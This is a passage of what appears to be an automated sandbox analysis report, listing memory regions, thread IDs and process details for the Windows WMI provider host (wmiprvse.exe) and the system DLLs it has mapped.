entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3152 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3153 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3154 start_va = 0x11bee5e0000 end_va = 0x11bee5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3405 start_va = 0x11bee5e0000 end_va = 0x11bee5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3485 start_va = 0x7ff7c29d0000 end_va = 0x7ff7c2a4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3612 start_va = 0x7ff7c29d0000 end_va = 0x7ff7c2a4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3626 start_va = 0x11bee5e0000 end_va = 0x11bee5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 5066 start_va = 0x153d80000 end_va = 0x153e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153d80000" filename = "" Region: id = 5067 start_va = 0x153e80000 end_va = 0x153f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153e80000" filename = "" Region: id = 5068 start_va = 0x153f80000 end_va = 0x15407ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153f80000" filename = "" Region: id = 5069 start_va = 0x11bee5e0000 end_va = 0x11bee5e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 5698 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6008 start_va = 0x11beaf60000 end_va = 0x11beaf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6132 start_va = 0x11beaf60000 end_va = 0x11beaf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6239 start_va = 0x11beaf60000 end_va = 0x11beaf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6240 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6241 start_va = 0x11beaf60000 end_va = 0x11beaf67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6242 start_va = 0x11bedc90000 end_va = 0x11bedc92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 6252 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6254 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6432 start_va = 0x154080000 end_va = 0x15417ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154080000" filename = "" Region: id = 6436 start_va = 0x154180000 end_va = 0x15427ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154180000" filename = "" Region: id = 6467 start_va = 0x11beaf60000 end_va = 0x11beaf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6566 start_va = 0x154280000 end_va = 0x15437ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154280000" filename = "" Region: id = 6592 start_va = 0x154380000 end_va = 0x15447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154380000" filename = "" Region: id = 6673 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6708 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6709 start_va = 0x11beaf60000 end_va = 0x11beaf67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6710 start_va = 0x11bedc90000 end_va = 0x11bedc92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 6831 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 6972 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 7052 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 7463 start_va = 0x11beaf60000 end_va = 0x11beaf6bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 7637 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 7836 start_va = 0x154480000 end_va = 0x15457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154480000" filename = "" Region: id = 8288 start_va = 0x154580000 end_va = 0x15467ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154580000" filename = "" Region: id = 8507 start_va = 0x11beaf60000 end_va = 0x11beaf67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8508 start_va = 0x11bedc90000 end_va = 0x11bedc92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 8569 start_va = 0x11beaf60000 end_va = 0x11beaf6bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8599 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8658 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8674 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8675 start_va = 0x11beaf60000 end_va = 0x11beaf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8726 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8827 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8836 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8839 start_va = 0x11bedc90000 end_va = 0x11bedc91fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 8861 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 8862 start_va = 0x11bee5b0000 end_va = 0x11bee5b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5b0000" filename = "" Region: id = 8863 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 8864 start_va = 0x11beea20000 end_va = 0x11beea22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9132 start_va = 0x11beea20000 end_va = 0x11beea20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9133 start_va = 0x154680000 end_va = 0x15477ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154680000" filename = "" Region: id = 9134 start_va = 0x11beea20000 end_va = 0x11beea27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9143 start_va = 0x11beea20000 end_va = 0x11beea25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9167 start_va = 0x11beea20000 end_va = 0x11beea25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9170 start_va = 0x11beea20000 end_va = 0x11beea25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9200 start_va = 0x11beea20000 end_va = 0x11beea22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9201 start_va = 0x11beea20000 end_va = 0x11beea27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9202 start_va = 0x11beea30000 end_va = 0x11beea32fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea30000" filename = "" Region: id = 9203 start_va = 0x154780000 end_va = 0x15487ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154780000" filename = "" Region: id = 9204 start_va = 0x11beea20000 end_va = 0x11beea25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea20000" filename = "" Region: id = 9205 start_va = 0x11beddb0000 end_va = 0x11beddb5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beddb0000" filename = "" Region: id = 9206 start_va = 0x11beddb0000 end_va = 0x11beddb2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beddb0000" filename = "" Region: id = 9269 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9270 start_va = 0x11beaf60000 end_va = 0x11beaf67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9271 start_va = 0x11bedc90000 end_va = 0x11bedc92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 9272 start_va = 0x154880000 end_va = 0x15497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000154880000" filename = "" Region: id = 9273 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9284 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9285 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9416 start_va = 0x11beaf60000 end_va = 0x11beaf62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9417 start_va = 0x11beaf60000 end_va = 0x11beaf67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 9418 start_va = 0x11bedc90000 end_va = 0x11bedc92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Thread: id = 54 os_tid = 0x128c Thread: id = 55 os_tid = 0x12fc Thread: id = 56 os_tid = 0x11dc Thread: id = 57 os_tid = 0x11e0 Thread: id = 58 os_tid = 0x11d0 Thread: id = 59 os_tid = 0xa94 Thread: id = 60 os_tid = 0x178 Thread: id = 61 os_tid = 0xaa8 Thread: id = 62 os_tid = 0xb6c Thread: id = 63 os_tid = 0x2c8 Thread: id = 64 os_tid = 0xbe0 Thread: id = 65 os_tid = 0xb30 Thread: id = 66 os_tid = 0x3b8 Thread: id = 67 os_tid = 0x458 Thread: id = 68 os_tid = 0x7d4 Thread: id = 69 os_tid = 0xb9c Thread: id = 70 os_tid = 0xb90 Thread: id = 71 os_tid = 0x414 Thread: id = 72 os_tid = 0x7b4 Thread: id = 73 os_tid = 0x5b0 Thread: id = 74 os_tid = 0xbe8 Thread: id = 75 os_tid = 0x254 Thread: id = 76 os_tid = 0xad0 Thread: id = 77 os_tid = 0x978 Thread: id = 78 os_tid = 0x9c0 Thread: id = 79 os_tid = 0x1e0 Thread: id = 80 os_tid = 0xb80 Thread: id = 81 os_tid = 0x4c0 Thread: id = 82 os_tid = 0xbf8 Thread: id = 83 os_tid = 0x5f4 Thread: id = 84 os_tid = 0x4d0 Thread: id = 85 os_tid = 0x47c Thread: id = 86 os_tid = 0xb84 Thread: id = 87 os_tid = 0xb88 Thread: id = 88 os_tid = 0xbb4 Thread: id = 89 os_tid = 0xbb8 Thread: id = 90 os_tid = 0xba4 Thread: id = 91 os_tid = 0x660 Thread: id = 92 os_tid = 0xbac Thread: id = 93 os_tid = 0x818 Thread: id = 94 os_tid = 0x80c Thread: id = 95 os_tid = 0x490 Thread: id = 96 os_tid = 0x4b4 Thread: id = 97 os_tid = 0x724 Thread: id = 98 os_tid = 0x4c4 Thread: id = 99 os_tid = 0x658 Thread: id = 100 os_tid = 0x474 Thread: id = 101 os_tid = 0x7f4 Thread: id = 102 os_tid = 0x7d0 Thread: id = 103 os_tid = 0x488 Thread: id = 104 os_tid = 0x7cc Thread: id = 105 os_tid = 0x7b8 Thread: id = 106 os_tid = 0x790 Thread: id = 107 os_tid = 0x760 Thread: id = 108 os_tid = 0x738 Thread: id = 109 os_tid = 0x6fc Thread: id = 110 os_tid = 0x6bc Thread: id = 111 os_tid = 0x668 Thread: id = 112 os_tid = 0x650 Thread: id = 113 os_tid = 0x634 Thread: id = 114 os_tid = 0x4e4 Thread: id = 115 os_tid = 0x478 Thread: id = 116 os_tid = 0x33c Thread: id = 117 os_tid = 0x280 Thread: id = 118 os_tid = 0x1b8 Thread: id = 119 os_tid = 0x1cc Thread: id = 120 os_tid = 0x184 Thread: id = 121 os_tid = 0x158 Thread: id = 122 os_tid = 0x148 Thread: id = 123 os_tid = 0x12c Thread: id = 124 os_tid = 0x128 Thread: id = 125 os_tid = 0xfc Thread: id = 126 os_tid = 0x60 Thread: id = 127 os_tid = 0x3ec Thread: id = 128 os_tid = 0x3e0 Thread: id = 129 os_tid = 0x368 Thread: id = 146 os_tid = 0x5fc Thread: id = 147 os_tid = 0x12bc Thread: id = 200 os_tid = 0xca0 Thread: id = 201 os_tid = 0xca8 Thread: id = 202 os_tid = 0xcac Thread: id = 246 os_tid = 0x11d8 Thread: id = 247 os_tid = 0x1368 Thread: id = 258 os_tid = 0x13b0 Thread: id = 259 os_tid = 0xc50 Thread: id = 276 os_tid = 0xd34 Thread: id = 277 os_tid = 0xd3c Thread: id = 290 os_tid = 0xdc8 Thread: id = 294 os_tid = 0xd4c Thread: id = 303 os_tid = 0x1170 Process: id = "8" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x44c98000" os_pid = "0x11a8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000562df" [0xc000000f] Region: id = 2723 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2724 start_va = 0x2dc1f00000 end_va = 0x2dc1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc1f00000" filename = "" Region: id = 2725 start_va = 0x2dc2000000 end_va = 0x2dc21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2000000" filename = "" Region: id = 2726 start_va = 0x2dc2200000 end_va = 0x2dc227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2200000" filename = "" Region: id = 2727 start_va = 0x2dc2280000 end_va = 0x2dc22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2280000" filename = "" Region: id = 2728 start_va = 0x2dc2300000 end_va = 0x2dc237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2300000" filename = "" Region: id = 2729 start_va = 0x2dc2380000 end_va = 0x2dc23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2380000" filename = "" Region: id = 2730 start_va = 0x2dc2400000 end_va = 0x2dc247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2400000" filename = "" Region: id = 2731 start_va = 0x2dc2480000 end_va = 0x2dc24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2480000" filename = "" Region: id = 2732 start_va = 0x2dc2500000 end_va = 0x2dc257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2500000" filename = "" Region: id = 2733 start_va = 0x2dc2580000 end_va = 0x2dc25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2580000" filename = "" Region: id = 2734 start_va = 0x20abb8b0000 end_va = 0x20abb8bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abb8b0000" filename = "" Region: id = 2735 start_va = 0x20abb8c0000 end_va = 0x20abb8c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abb8c0000" filename = "" Region: id = 2736 start_va = 0x20abb8d0000 end_va = 0x20abb8e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abb8d0000" filename = "" Region: id = 2737 start_va = 0x20abb8f0000 end_va = 0x20abb8f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abb8f0000" filename = "" Region: id = 2738 start_va = 0x20abb900000 end_va = 0x20abb900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abb900000" filename = "" Region: id = 2739 start_va = 0x20abb910000 end_va = 0x20abb911fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abb910000" filename = "" Region: id = 2740 start_va = 0x20abb920000 end_va = 0x20abb9ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2741 start_va = 0x20abb9e0000 end_va = 0x20abb9e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abb9e0000" filename = "" Region: id = 2742 start_va = 0x20abb9f0000 end_va = 0x20abb9f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abb9f0000" filename = "" Region: id = 2743 start_va = 0x20abba00000 end_va = 0x20abba00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abba00000" filename = "" Region: id = 2744 start_va = 0x20abba10000 end_va = 0x20abba14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2745 start_va = 0x20abba20000 end_va = 0x20abbb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abba20000" filename = "" Region: id = 2746 start_va = 0x20abbb20000 end_va = 0x20abbbdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abbb20000" filename = "" Region: id = 2747 start_va = 0x20abbbe0000 end_va = 0x20abbbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abbbe0000" filename = "" Region: id = 2748 start_va = 0x20abbbf0000 end_va = 0x20abbf26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2749 start_va = 0x20abbf30000 end_va = 0x20abc0b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abbf30000" filename = "" Region: id = 2750 start_va = 0x20abc0c0000 end_va = 0x20abc240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc0c0000" filename = "" Region: id = 2751 start_va = 0x20abc250000 end_va = 0x20abc250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc250000" filename = "" Region: id = 2752 start_va = 0x20abc260000 end_va = 0x20abc35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abc260000" filename = "" Region: id = 2753 start_va = 0x20abc360000 end_va = 0x20abc360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc360000" filename = "" Region: id = 2754 start_va = 0x20abc370000 end_va = 0x20abc370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc370000" filename = "" Region: id = 2755 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 2756 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2757 start_va = 0x20abc3c0000 end_va = 0x20abc4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abc3c0000" filename = "" Region: id = 2758 start_va = 0x20abc4d0000 end_va = 0x20abc4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 2759 start_va = 0x7df5ffb40000 end_va = 0x7ff5ffb3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffb40000" filename = "" Region: id = 2760 start_va = 0x7ff6e59f0000 end_va = 0x7ff6e5aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e59f0000" filename = "" Region: id = 2761 start_va = 0x7ff6e5af0000 end_va = 0x7ff6e5b12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e5af0000" filename = "" Region: id = 2762 start_va = 0x7ff6e6300000 end_va = 0x7ff6e637ffff monitored = 0 entry_point = 0x7ff6e6315f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2763 start_va = 0x7ffb033b0000 end_va = 0x7ffb0357efff monitored = 1 entry_point = 0x7ffb033d7df0 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2764 start_va = 0x7ffb07fb0000 end_va = 0x7ffb07ffdfff monitored = 0 entry_point = 0x7ffb07fc1ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2765 start_va = 0x7ffb0a6f0000 end_va = 0x7ffb0a6fdfff monitored = 0 entry_point = 0x7ffb0a6f1da0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2766 start_va = 0x7ffb101e0000 end_va = 0x7ffb10205fff monitored = 0 entry_point = 0x7ffb101e1cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2767 start_va = 0x7ffb10fe0000 end_va = 0x7ffb10ff5fff monitored = 0 entry_point = 0x7ffb10fe55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2768 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2769 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2770 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2771 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2772 start_va = 0x7ffb122a0000 end_va = 0x7ffb122abfff monitored = 0 entry_point = 0x7ffb122a35c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2773 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 1 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2774 start_va = 0x7ffb145e0000 end_va = 0x7ffb145f3fff monitored = 0 entry_point = 0x7ffb145e1310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2775 start_va = 0x7ffb14b00000 end_va = 0x7ffb14b11fff monitored = 0 entry_point = 0x7ffb14b03580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2776 start_va = 0x7ffb15050000 end_va = 0x7ffb1505afff monitored = 0 entry_point = 0x7ffb150512b0 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2777 start_va = 0x7ffb15e70000 end_va = 0x7ffb15e88fff monitored = 0 entry_point = 0x7ffb15e74520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2778 start_va = 0x7ffb18230000 end_va = 0x7ffb18245fff monitored = 0 entry_point = 0x7ffb18231b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2779 start_va = 0x7ffb18c90000 end_va = 0x7ffb18ccdfff monitored = 0 entry_point = 0x7ffb18c9a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2780 start_va = 0x7ffb18e20000 end_va = 0x7ffb18e30fff monitored = 0 entry_point = 0x7ffb18e23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2781 start_va = 